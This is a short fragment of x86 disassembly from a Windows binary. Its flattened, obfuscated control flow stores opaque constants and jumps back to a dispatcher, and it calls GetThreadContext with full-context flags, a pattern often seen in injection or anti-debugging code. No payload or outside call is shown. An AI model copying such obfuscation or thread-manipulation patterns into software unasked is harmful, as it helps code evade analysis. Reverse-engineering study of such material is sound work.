setne al
and al, 1
mov byte [ebp - 0x151], al
mov dword [ebp - 0x158], 0x399bcf10
jmp 0x1000fc03
mov eax, dword [ebp - 0xcc]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x158], 0xc13c8c92
jmp 0x1000fc03
jmp 0x10007590